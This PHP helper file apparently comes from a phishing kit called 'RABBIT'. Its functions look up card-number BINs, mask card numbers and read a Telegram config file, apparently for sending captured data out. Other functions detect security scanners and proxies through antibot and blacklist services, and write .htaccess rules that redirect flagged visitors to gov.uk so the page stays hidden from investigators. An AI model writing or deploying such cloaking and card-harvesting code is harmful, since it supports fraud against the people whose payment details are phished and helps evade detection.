<?php
function _time()
{
    $timezone = new DateTimeZone('Asia/Jakarta');
    $date = new DateTime();
    $date->setTimeZone($timezone);
    $time = $date->format('H:i A');

    return $time;
}

function _date()
{
    $timezone = new DateTimeZone('Asia/Jakarta');
    $date = new DateTime();
    $date->setTimeZone($timezone);
    $fullday = $date->format('H:i A - D, d M Y');

    return $fullday;
}

function write($filename, $mode, $data)
{
    $fp = @fopen($filename, $mode);
    @fwrite($fp, $data);
    @fclose($fp);
}

function look_bin($num)
{
    error_reporting(0);
    $num    = str_replace(' ', '', trim($num));
    $num    = substr($num, 0, 6);
    $result  = @json_decode(curl("https://lookup.binlist.net/" . $num, false, true), true);
    $brand   = ($result['scheme'] ? $result['scheme'] : "unknown brand");
    $type    = ($result['type'] ? $result['type'] : "unknown type");
    $level   = ($result['brand'] ? $result['brand'] : "unknown level");
    $bank    = ($result['bank']['name'] ? $result['bank']['name'] : "unknown bank");
    $data    = strtoupper($num . " " . $brand . " " . $type . " " . $level . " " . $bank);

    return $data;
}

function curl($url, $hasHeader = false, $hasBody = true, $useragent = NULL, $time = NULL)
{
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3");

    curl_setopt($ch, CURLOPT_HEADER, $hasHeader ? 1 : 0);
    curl_setopt($ch, CURLOPT_NOBODY, $hasBody ? 0 : 1);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_SSLVERSION, CURL_SSLVERSION_TLSv1_0);


    if (!is_null($time))
        curl_setopt($ch, CURLOPT_TIMEOUT, $time);
    if (!is_null($time))
        curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $time);

    $data = curl_exec($ch);
    curl_close($ch);

    return $data;
}

function write_php_ini($array, $file)
{
    $res = array();
    foreach ($array as $key => $val) {

        if (is_array($val)) {
            $res[] = "[$key]";
            foreach ($val as $skey => $sval) $res[] = "$skey = " . (is_numeric($sval) ? $sval : '"' . $sval . '"');
        } else $res[] = "$key = " . (is_numeric($val) ? $val : '"' . $val . '"');
    }

    safefilerewrite($file, implode("\r\n", $res));
}

function safefilerewrite($fileName, $dataToSave)
{

    if ($fp = fopen($fileName, 'w')) {
        $startTime = microtime(TRUE);

        do {
            $canWrite = flock($fp, LOCK_EX);
            if (!$canWrite) usleep(round(rand(0, 100) * 1000));
        } while ((!$canWrite) and ((microtime(TRUE) - $startTime) < 5));

        if ($canWrite) {
            fwrite($fp, $dataToSave);
            flock($fp, LOCK_UN);
        }

        fclose($fp);
    }
}

function _404($message)
{
    echo "
<!DOCTYPE html>
<html>
<head>
    <meta charset=\"utf-8\">
    <meta name=\"robots\" content=\"noindex, nofollow, noarchive, nosnippet, noodp, noydir\">
    <title>404</title>
</head>
<body>
<code>{$message}</code>
</body>
</html>
    ";
}

function view($view, $params = [])
{
    if (strncmp($view, '/', 1) !== 0) {
        $view = FCPATH . 'RABBIT/Views/' . $view . ".php";
    }

    if (is_file($view . '.php')) {
        $view .= '.php';
    }

    return renderFile($view, $params);
}

function renderFile($_file_, $_params_ = [])
{
    ob_start();
    ob_implicit_flush(false);
    extract($_params_, EXTR_OVERWRITE);
    require($_file_);

    return ob_get_clean();
}

function base_url()
{
    $base_url = ((isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == "on") ? "https" : "http");
    $base_url .= "://" . @$_SERVER['HTTP_HOST'];
    
    // Get the base path from SCRIPT_NAME
    $script_name = str_replace('\\', '/', $_SERVER['SCRIPT_NAME']);
    
    // If we're in rabbit.php, get its directory
    if (strpos($script_name, 'rabbit.php') !== false) {
        $base_path = dirname($script_name);
    } 
    // If we're in a subdirectory (like install/), go up one level
    else if (strpos($script_name, '/install/') !== false || strpos($script_name, '/RABBIT/') !== false) {
        $base_path = dirname(dirname($script_name));
    }
    // Otherwise use the directory of current script
    else {
        $base_path = dirname($script_name);
    }
    
    // Normalize path
    $base_path = str_replace('\\', '/', $base_path);
    
    // Ensure trailing slash
    if ($base_path != '/' && $base_path != '') {
        $base_url .= rtrim($base_path, '/') . '/';
    } else {
        $base_url .= '/';
    }

    return $base_url;
}

function _geoGet($ip_address)
{
    $url               = "http://ip-api.com/json/" . $ip_address;
    $getGeo            = json_decode(curl($url, false, true), 1);

    return $getGeo;
}


function _blocks()
{
    return write(FCPATH . '.htaccess', 'a', "\r\nRewriteCond %{REMOTE_ADDR} ^" . $_SERVER['REMOTE_ADDR'] . "$\r\nRewriteRule .* " . uriRand() . " [R,L]\r\n");
}

function uriRand()
{
    $uri = [
        'https://gov.uk',
    ];

    shuffle($uri);
    return $uri[0];
}

function redirect($uri = '', $method = 'auto', $code = NULL)
{
    if (!preg_match('#^(\w+:)?//#i', $uri)) {
        $uri = base_url($uri);
    }

    if ($method === 'auto' && isset($_SERVER['SERVER_SOFTWARE']) && strpos($_SERVER['SERVER_SOFTWARE'], 'Microsoft-IIS') !== FALSE) {
        $method = 'refresh';
    } elseif ($method !== 'refresh' && (empty($code) or !is_numeric($code))) {

        if (isset($_SERVER['SERVER_PROTOCOL'], $_SERVER['REQUEST_METHOD']) && $_SERVER['SERVER_PROTOCOL'] === 'HTTP/1.1') {
            $code = ($_SERVER['REQUEST_METHOD'] !== 'GET')
                ? 303
                : 307;
        } else {
            $code = 302;
        }
    }

    switch ($method) {

        case 'refresh':
            header('Refresh:0;url=' . $uri);
            break;

        default:
            header('Location: ' . $uri, TRUE, $code);
            break;
    }

    exit;
}

function loadWhitelist($file) {
    if (!file_exists($file)) return [];
    return array_map('trim', file($file, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES));
}

function _config($name)
{
    $get = parse_ini_file(FCPATH . "RABBIT/Go/.settings.ini");
    return $get[$name];
}

function _botblocker($name)
{
    $get = parse_ini_file(FCPATH . "RABBIT/Go/botblocker.ini");
    return $get[$name];
}

function _notice($name)
{
    $get = parse_ini_file(FCPATH . "RABBIT/Go/notice.ini");
    return $get[$name];
}


function telex($name)
{
    $get = parse_ini_file(FCPATH . "RABBIT/Go/telegram.ini");
    return $get[$name];
}

function _antibot($name)
{
    $get = parse_ini_file(FCPATH . "RABBIT/Go/killbot.ini");
    return $get[$name];
}


function _panel($name)
{
    $get = parse_ini_file(FCPATH . "RABBIT/Go/setpanel.ini");
    return $get[$name];
}

function ccMasking($number)
{
    return substr($number, 0, 0) . substr($number, -4);
}






function antibot($ip, $useragent)
{
    $key = _antibot('KEY');
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_USERAGENT, "Antibot Blocker");
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_URL, "https://antibot.pw/api/v2-blockers?ip=" . $ip . "&apikey=" . $key . "&ua=" . urlencode($useragent) . "");
    $data = curl_exec($ch);
    curl_close($ch);
    $check = json_decode($data, 1);

    if ($check['is_bot'] == true) {
        return true;
    } else {
        return false;
    }
}

function botblocker($ip, $useragent)
{
    $key = _botblocker('KEY');
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_USERAGENT, "BotBlocker");
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_URL, "https://botblocker.pro/api/v1/blocker?ip=" . $ip . "&apikey=" . $key . "&ua=" . urlencode($useragent) . "&url=" . urlencode($_SERVER['REQUEST_URI']));
    
    $data = curl_exec($ch);
    curl_close($ch);
    $json = json_decode($data, true); 
    $acode = $json['meta']['code'];
    $blocked = $json['data'] == true ? $json['data']['is_bot'] : $json['data']['block_access'];
    if ($acode == 200 && $blocked) {
        return true;
    } else {
        return false;
    }
}

function RABBITBLOCKER($ip, $bots) {

    $blacklist = array(
        "192.168.0.1",
        "10.0.0.1",
        
    );

    if (in_array($ip, $blacklist)) {
        return true; 
    } else {
        return false; 
    }
}

function RABBITGO($ip) {
  
    if ($_SERVER['HTTP_X_FORWARDED_FOR'] || $_SERVER['HTTP_X_FORWARDED'] || $_SERVER['HTTP_FORWARDED_FOR'] || $_SERVER['HTTP_CLIENT_IP'] || $_SERVER['HTTP_VIA'] || in_array($_SERVER['REMOTE_PORT'], array(8080,80,6588,8000,3128,553,554))) {
        return true; 
        return false; 
}
}


function blackbox($ip)
{
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, "https://blackbox.ipinfo.app/lookup/" . $ip);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    $resp = curl_exec($ch);
    curl_close($ch);
    $result = $resp;

    if ($result == "Y") {
        return true;
    } else {
        return false;
    }
}

// CSRF Token Protection Functions
function generateCSRFToken() {
    if (session_status() == PHP_SESSION_NONE) {
        session_start();
    }
    
    if (empty($_SESSION['csrf_token'])) {
        $_SESSION['csrf_token'] = bin2hex(random_bytes(32));
    }
    
    return $_SESSION['csrf_token'];
}

function validateCSRFToken($token) {
    if (session_status() == PHP_SESSION_NONE) {
        session_start();
    }
    
    if (empty($_SESSION['csrf_token']) || empty($token)) {
        return false;
    }
    
    return hash_equals($_SESSION['csrf_token'], $token);
}

function getCSRFTokenField() {
    $token = generateCSRFToken();
    return '<input type="hidden" name="csrf_token" value="' . htmlspecialchars($token) . '">';
}
